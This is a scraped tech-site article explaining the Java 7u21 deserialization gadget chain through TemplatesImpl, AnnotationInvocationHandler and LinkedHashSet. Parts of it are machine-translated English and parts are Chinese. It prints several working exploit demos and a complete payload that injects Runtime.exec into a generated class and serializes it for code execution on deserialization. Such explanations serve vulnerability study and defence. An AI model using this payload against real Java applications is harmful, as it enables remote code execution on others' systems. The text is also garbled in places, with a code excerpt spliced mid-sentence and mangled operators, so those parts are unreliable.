Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

What is the principle of Java 7u21 chain?

2025-04-01 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)06/01 Report--

This article mainly introduces "what is the principle of Java 7u21 chain". In daily operation, I believe many people have doubts about what the principle of Java 7u21 chain is. The editor consulted all kinds of materials and sorted out simple and easy-to-use methods of operation. I hope it will be helpful for you to answer the question of "what is the principle of Java 7u21 chain?" Next, please follow the editor to study!

Brief introduction

Jdk7u21 chain is a chain that can be implemented without the help of a third-party library. Affect version transFactory) throws Exception {T templates = tplClass.newInstance (); ClassPool pool = ClassPool.getDefault (); pool.insertClassPath (new ClassClassPath (Gadgets.StubTransletPayload.class)); pool.insertClassPath (new ClassClassPath (abstTranslet)); CtClass clazz = pool.get (Gadgets.StubTransletPayload.class.getName ()) String cmd = "java.lang.Runtime.getRuntime (). Exec (\" + command.replaceAll ("\\", "\"). ReplaceAll ("\", "\") + "\"); "; clazz.makeClassInitializer () .insertAfter (cmd); clazz.setName (" ysoserial.Pwner "+ System.nanoTime ()); CtClass superC = pool.get (abstTranslet.getName ()); clazz.setSuperclass (superC); byte [] classBytes = clazz.toBytecode () Reflections.setFieldValue (templates, "_ bytecodes", new byte [] [] {classBytes, ClassFiles.classAsBytes (Gadgets.Foo.class)}); Reflections.setFieldValue (templates, "_ name", "Pwnr"); Reflections.setFieldValue (templates, "_ tfactory", transFactory.newInstance ()); return templates;}

So why create this class and call reflection and javassist mechanisms? Don't worry, let's take a look at the TemplatesImpl source code.

First of all, there is a method defineTransletClasses in the TemplatesImpl class, and its main code is as follows

Private byte [] [] _ bytecodes = (byte [] []) null;private void defineTransletClasses () throws TransformerConfigurationException {if (this._bytecodes = = null) {.} else {TemplatesImpl.TransletClassLoader loader = (TemplatesImpl.TransletClassLoader) AccessController.doPrivileged (new PrivilegedAction () {public Object run () {return new TemplatesImpl.TransletClassLoader (ObjectFactory.findClassLoader ());}}); try {int classCount = this._bytecodes.length;this._class = new Class [classCount]; for (int I = 0; I

< classCount; ++i) {this._class[i] = loader.defineClass(this._bytecodes[i]); \\将_bytecodes中的所有字节通过defineClass转化为一个类Class superClass = this._class[i].getSuperclass();if (superClass.getName().equals(ABSTRACT_TRANSLET)) {this._transletIndex = i;} else {this._auxClasses.put(this._class[i].getName(), this._class[i]);}}} 也就是说通过这个方法可以将_bytecodes数组中的字节还原成一个类,存储到_class变量中。接下来如果我们能找到调用defineTransletClasses方法并执行了_class[].newinstance() 这样的的代码的方法,就能实例化从字节得到的类了,从而就能执行类中的静态代码块和构造函数了! 所以接下来我们需要去寻找这种方法。 通过搜索defineTransletClasses,我们找到了有如下三个方法调用了defineTransletClasses方法: getTransletInstancegetTransletIndexgetTransletClasses 其中,getTransletInstance方法是唯一符合"调用了defineTransletClasses且有_class[].newinstance()"的方法,其代码如下 private Translet getTransletInstance() throws TransformerConfigurationException {ErrorMsg err;try {if (this._name == null) {return null;} else {if (this._class == null) {this.defineTransletClasses();}AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance(); \\heretranslet.postInitialization();translet.setTemplates(this);translet.setServicesMechnism(this._useServicesMechanism);if (this._auxClasses != null) {translet.setAuxiliaryClasses(this._auxClasses);}return translet;} 那么,getTransletInstance是一个private方法,我们不能直接调用它,在那里能去调用它呢?答案是newTransformer方法 public synchronized Transformer newTransformer() throws TransformerConfigurationException {TransformerImpl transformer = new TransformerImpl(this.getTransletInstance(), this._outputProperties, this._indentNumber, this._tfactory); \\here········} OK.我们找到了触发7u21链的一个核心点了。我们写个小demo来通过TemplatesImpl实现代码执行 小demo的实现思路为:通过javassist动态生成一个恶意类(构造方法或者静态代码块有恶意代码),然后通过反射生成一个TemplatesImpl对象并设置各个变量的值,然后调用一下TemplatesImpl对象的newTransformer方法即可造成代码执行,代码如下 public class test{public static void main(String[] args) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass cc = pool.makeClass("evilclass");String cmd = "Runtime.getRuntime().exec(\"calc\");";cc.makeClassInitializer().insertBefore(cmd); \\向静态代码块插入恶意代码,插入到构造函数也可以cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); \\需设置此项才能实现newinstance,具体原因请看defineTransletClasses和getTransletInstance源码cc.setName("evilClass");byte[] evilbytes = cc.toBytecode();byte[][] targetByteCodes = new byte[][]{evilbytes};TemplatesImpl templates = TemplatesImpl.class.newInstance();Class clazz = TemplatesImpl.class.newInstance().getClass();Field[] Fields = clazz.getDeclaredFields();for (Field Field : Fields) { //遍历Fields数组try { Field.setAccessible(true); //对数组中的每一项实现私有访问if(Field.getName()=="_bytecodes"){Field.set(templates,targetByteCodes);}if(Field.getName()=="_class"){Field.set(templates,null);}if(Field.getName()=="_name"){Field.set(templates,"abc");}if(Field.getName()=="_tfactory"){Field.set(templates,new TemplatesImpl());}} catch (Exception e) {}}templates.newTransformer();}} 但仅仅是这样,肯定是不够的。 AnnotationInvocationHandler 我们继续看ysoserial源码可以看到动用了AnnotationInvocationHandler这个东西.这个类原本的作用是作为Annotation 类的动态代理 我们把目光聚焦于invoke方法--动态代理的核心 public Object invoke(Object var1, Method var2, Object[] var3) {String var4 = var2.getName();Class[] var5 = var2.getParameterTypes();if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {return this.equalsImpl(var3[0]);} ..........} 它会检测传入的方法中是否有符合 名为equals,只有一个Object类型参数。若是,则调用equalsImpl方法并传入方法中的参数。 跟进equalsimpl方法 private Boolean equalsImpl(Object var1) {if (var1 == this) {return true;} else if (!this.type.isInstance(var1)) {return false;} else {Method[] var2 = this.getMemberMethods();int var3 = var2.length;for(int var4 = 0; var4 < var3; ++var4) {Method var5 = var2[var4];String var6 = var5.getName();Object var7 = this.memberValues.get(var6);Object var8 = null;AnnotationInvocationHandler var9 = this.asOneOfUs(var1);if (var9 != null) {var8 = var9.memberValues.get(var6);} else {try {var8 = var5.invoke(var1); \\here} catch (InvocationTargetException var11) {return false;} catch (IllegalAccessException var12) {throw new AssertionError(var12);}}if (!memberValueEquals(var7, var8)) {return false;}}return true;}} 发现会invoke 传入参数中的所有方法。 那么接下来我们就可以按照下面的思路写一个命令执行小demo: 创建一个包含恶意代码的TemplatesImpl实例,通过AnnotationInvocationHandler创建任意一个代理对象,然后代理对象调用equals方法传入参数为恶意TemplatesImpl对象,即可造成恶意代码执行 看到这里一定一头雾水,看看demo也许会好一点 public class test{public static void main(String[] args) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass cc = pool.makeClass("evilclass");String cmd = "Runtime.getRuntime().exec(\"calc\");";CtConstructor cons = new CtConstructor(new CtClass[]{},cc);cons.setBody("Runtime.getRuntime().exec(\"calc\");");cc.addConstructor(cons);cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));cc.setName("evilClass");byte[] evilbytes = cc.toBytecode();byte[][] targetByteCodes = new byte[][]{evilbytes};TemplatesImpl templates = TemplatesImpl.class.newInstance();Class clazz = TemplatesImpl.class.newInstance().getClass();Field[] Fields = clazz.getDeclaredFields();for (Field Field : Fields) { //遍历Fields数组try { //执行get()方法时需抛出IllegalAccessException错误Field.setAccessible(true); //对数组中的每一项实现私有访问if(Field.getName()=="_bytecodes"){Field.set(templates,targetByteCodes);}if(Field.getName()=="_class"){Field.set(templates,null);}if(Field.getName()=="_name"){Field.set(templates,"abc");}if(Field.getName()=="_tfactory"){Field.set(templates,new TemplatesImpl());}} catch (Exception e) {}}//以上代码生成了恶意TemplatesImpl对象templatesMap map = new HashMap();final Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; //获得AnnotationInvocationHandler构造方法,方便获得它一个实例ctor.setAccessible(true);InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class, map); //这里有个问题,为什么要传入Templates类对象而不是TemplatesImplObject proxy = Proxy.newProxyInstance(null, Object.class.getInterfaces(), invocationHandler); \\反正创建一个AnnotationInvocationHandler的代理对象就行了,前两个参数都不用怎么管proxy.equals(templates); //恶意代码执行}} 我们慢慢看看逻辑,在proxy.equals处下断点,调试 毫无疑问会进入到此处:AnnotationInvocationHandler的invoke方法。 然后参数符合if判断,调用equalsImpl方法,并传入参数为恶意TemplatesImpl对象,接下来就是进入反射调用处 遍历var2变量中的方法,并由我们的恶意对象来执行。 ----此处插一下var2变量的来历 注意此处的getMemberMethods方法,它实质上是通过反射获得this.type中的所有方法。而this.type是在该对象构造方法中传入的第一个参数。 getMemberMethods: 构造方法: ----回到正题 由于我们通过反射传入构造方法的第一个参数是Templates.class,所以它会遍历Templates类中的所有方法。这个类其实是TemplatesImpl的接口类,它的代码如下 所以var2中存储的方法只有两个,newTransformer和getOutputProperties。 然后当遍历到newTransformer方法时,就会通过反射调用达到 eviltemplatesImpl.newTransformer() 的效果,从而导致恶意TemplatesImpl对象中的恶意代码被执行。 这里承接上面说的,为什么初始化AnnotationInvocationHandler对象时传入的第一个参数(即this.type)是Templates.class,而不是TemplatesImpl.class 诚然,这两个类对象都有方法newTransformer。但是如果传入TemplatesImpl.class,在遍历其中方法并通过反射执行时会出现错误:equalsImpl中的反射调用是不传入参数的

However, there are many methods in TemplatesImpl that need to pass in parameters to be used normally. If you do not pass in parameters, the reflection call will throw an exception, so that an exception will be thrown before traversing to the newTransformer method, resulting in code execution not being implemented.

That's not enough. We still have to call equals manually to cause the code to execute. Where is the deserialization point?

LinkedHashSet

This class appears in the payload of ysoserial.

LinkedHashSet inherits from the HashSet class, and its readObject method also inherits from HashSet. Let's look at the construction of the readObject method

Private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException {var1.defaultReadObject (); int var2 = var1.readInt (); float var3 = var1.readFloat (); this.map = (HashMap) (this instanceof LinkedHashSet? New LinkedHashMap (var2, var3): new HashMap (var2, var3); int var4 = var1.readInt (); for (int var5 = 0; var5)

< var4; ++var5) {Object var6 = var1.readObject();this.map.put(var6, PRESENT);}}} 它的主要亮点在for循环里面:遍历传入的序列化对象,将其反序列化后,再传入put方法 所以我们再来跟进一下map.put方法 public V put(K var1, V var2) {if (var1 == null) {return this.putForNullKey(var2);} else {int var3 = this.hash(var1);int var4 = indexFor(var3, this.table.length);for(HashMap.Entry var5 = this.table[var4]; var5 != null; var5 = var5.next) {Object var6;if (var5.hash == var3 && ((var6 = var5.key) == var1 || var1.equals(var6))) { //hereObject var7 = var5.value;var5.value = var2;var5.recordAccess(this);return var7;}}++this.modCount;this.addEntry(var3, var1, var2, var4);return null;}} 注意我们添加注释那一行,有一个var1.equals(var6))) 其中var1和var6我们都是可以控制的:var1即传入的反序列化对象(恶意TemplatesImpl),var6实际上也是我们传入的反序列化对象(恶意AnnotationInvocationHandler代理对象)。 但是想要执行var1.equals(var6))) 则必须要让 var5.hash == var3 为true 且 (var6 = var5.key) == var1为false. 怎么做到呢? 注意put方法的第5行,对传入的反序列化对象调用了hash方法。我们跟进hash方法 final int hash(Object var1) {int var2 = 0;if (this.useAltHashing) {if (var1 instanceof String) {return Hashing.stringHash42((String)var1);}var2 = this.hashSeed;}var2 ^= var1.hashCode(); //herevar2 ^= var2 >

> > 20 ^ var2 > 12 return var2 ^ var2 > > 7 ^ var2 > > 4;}

It is found that the hashCode () method of the passed-in parameter object will call the invoke method in the proxy object when the parameter we pass in is a malicious AnnotationInvocationHandler proxy object. For AnnotationInvocationHandler, when it is determined that the hashCode method is executed, it essentially executes the hashCodeImpl method in AnnotationInvocationHandler.

We follow up on hashCodeImpl.

Private int hashCodeImpl () {int var1 = 0politics entry var3;for (Iterator var2 = this.memberValues.entrySet (). Iterator (); var2.hasNext (); var1 + = 127* ((String) var3.getKey ()). HashCode () ^ memberValueHashCode (var3.getValue () {var3 = (Entry) var2.next ();} return var1 } the above is the real code, which is ugly, so it is convenient for us to analyze private int hashCodeImpl () {int result = 0 itr.next / ergodic memberValuesIterator itr = this.memberValues.entrySet (). Iterator (); for (; itr.hasNext ();) {Entry entry = (Entry) itr.next (); String key = ((String) entry.getKey ()); Object value = entry.getValue () / / 127* hashCode of key, and then XOR with memberValueHashCode (value) + = 127* key.hashCode () ^ memberValueHashCode (value);} return result;}

This method iterates through the this.memberValues property (which is essentially the attribute added in the HashMap), and then performs a bit operation on each of the key attributes and accumulates them

We can also follow up on the memberValueHashCode function.

It is found that as long as the passed-in parameter is not an array, its hashCode function is called and returned.

Let's sort out how to call the equals in the put method to trigger code execution: the payload phase:

Create a map variable whose key is a special value: f5a5a608, whose hashCode is 0, then a malicious templatesImpl class, and then use this map variable as a parameter to create an AnnotationInvocationHandler proxy object.

Then put a value into the HashMap, the key is a malicious TemplatesImpl object, and then put a value, the key is a malicious AnnotationInvocationHandler object. LinkedHashSet keeps the HashMap in order so that objects can be read from the HashMap sequentially when deserialized. If you use HashSet, you will make an error in the deserialization Times)

Deserialization phase:

Then in readObject, TemplatesImpll is first called by the put method.

Then get its hash through the hash () method in the put method, enter it into its hash property, and write it to the storage queue of HashMap.

Then the AnnotationInvocationHandler is called by the put method

When you use the hash method to get hash on it, its proxy method hashCodeImpl is called when the hashCode () method is called inside the hash function because it is a proxy class.

Then iterate through the this.memberValues variable inside the hashCodeImpl (that is, the map variable that was placed in the previous initialization)

XOR the hashCode of the key value of each item with the memberValueHashCode method passed in the map vaule value as a parameter. This memberValueHashCode method determines whether the passed-in value is an array, and if not, directly returns the parameter's hashCode ().

Because we passed in a map with the key f5a5a608 and the value eviltemplates when we initialized the proxy object, the final result of the above hash calculation is 0 ^ (templatesImpl.hashCode ()). That is, templatesImpl.hashCode (). So the result after the AnnotationInvocationHandler object is passed as a parameter to be executed by the hash method is equivalent to hash (eviltemplates)

This value then comes to the if judgment logic, which iterates through the previous value and assigns the traversed value to var5

The hash of the previous value (that is, the hash of eviltemplates) is the same as the hash of the AnnotationInvocationHandler object (also the hash of eviltemplates), but the AnnotationInvocationHandler object is not the same as the eviltemplates object, so the equals is triggered and the code executes successfully.

Complete payload

Looking at the above three classes, we can write payload

Public static void main (String [] args) throws Exception {ClassPool pool = ClassPool.getDefault (); CtClass cc = pool.makeClass ("evilclass"); String cmd = "Runtime.getRuntime (). Exec (\" calc\ "); CtConstructor cons = new CtConstructor (new CtClass [] {}, cc); cons.setBody (" Runtime.getRuntime (). Exec (\ "calc\"); cc.addConstructor (cons); cc.setSuperclass (pool.get (AbstractTranslet.class.getName (); cc.setName ("evilClass") Byte [] evilbytes = cc.toBytecode (); byte [] [] targetByteCodes = new byte [] [] {evilbytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance (); Class clazz = TemplatesImpl.class.newInstance (). GetClass (); Field [] Fields = clazz.getDeclaredFields (); for (Field Field: Fields) {/ / traverse Fields array try {/ / IllegalAccessException error Field.setAccessible (true) when executing get () method / / each entry in a pair of arrays implements private access to if (Field.getName () = "_ bytecodes") {Field.set (templates,targetByteCodes);} if (Field.getName () = = "_ class") {Field.set (templates,null);} if (Field.getName () = = "_ name") {Field.set (templates, "abc");} if (Field.getName () = = "_ tfactory") {Field.set (templates,new TemplatesImpl ()) } catch (Exception e) {}} Map map = new HashMap (); String magicStr = "f5a5a608"; final Constructor ctor = Class.forName ("sun.reflect.annotation.AnnotationInvocationHandler"). GetDeclaredConstructors () [0]; ctor.setAccessible (true); InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance (Templates.class, map); Object proxy = Proxy.newProxyInstance (null, Object.class.getInterfaces (), invocationHandler); HashSet target = new LinkedHashSet (); target.add (templates); target.add (proxy) / / this map needs to be assigned after Hashmap put proxy, otherwise an error will be reported (I don't know why map.put (magicStr, templates); / / serialize ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream (filename)); oos.writeObject (target); / / deserialize ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); ois.readObject ()

Take a look at the call stack

More intuitive call chain

LinkedHashSet.readObject () LinkedHashSet.add ()... TemplatesImpl.hashCode () (X) LinkedHashSet.add ()... Proxy (Templates). HashCode () (X) AnnotationInvocationHandler.invoke () (X) AnnotationInvocationHandler.hashCodeImpl () (X) String.hashCode () (0) AnnotationInvocationHandler.memberValueHashCode () (X) TemplatesImpl.hashCode () (X) Proxy (Templates). Equals () AnnotationInvocationHandler.invoke () AnnotationInvocationHandler.equalsImpl () Method.invoke (). / / TemplatesImpl.getOutputProperties () The actual test will directly call newTransformer () TemplatesImpl.newTransformer () TemplatesImpl.getTransletInstance () TemplatesImpl.defineTransletClasses () ClassLoader.defineClass () Class.newInstance (). MaliciousClass. (). Runtime.exec () here, the study of "what is the principle of Java 7u21 chain" is over, hoping to solve everyone's doubts. The collocation of theory and practice can better help you learn, go and try it! If you want to continue to learn more related knowledge, please continue to follow the website, the editor will continue to work hard to bring you more practical articles!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report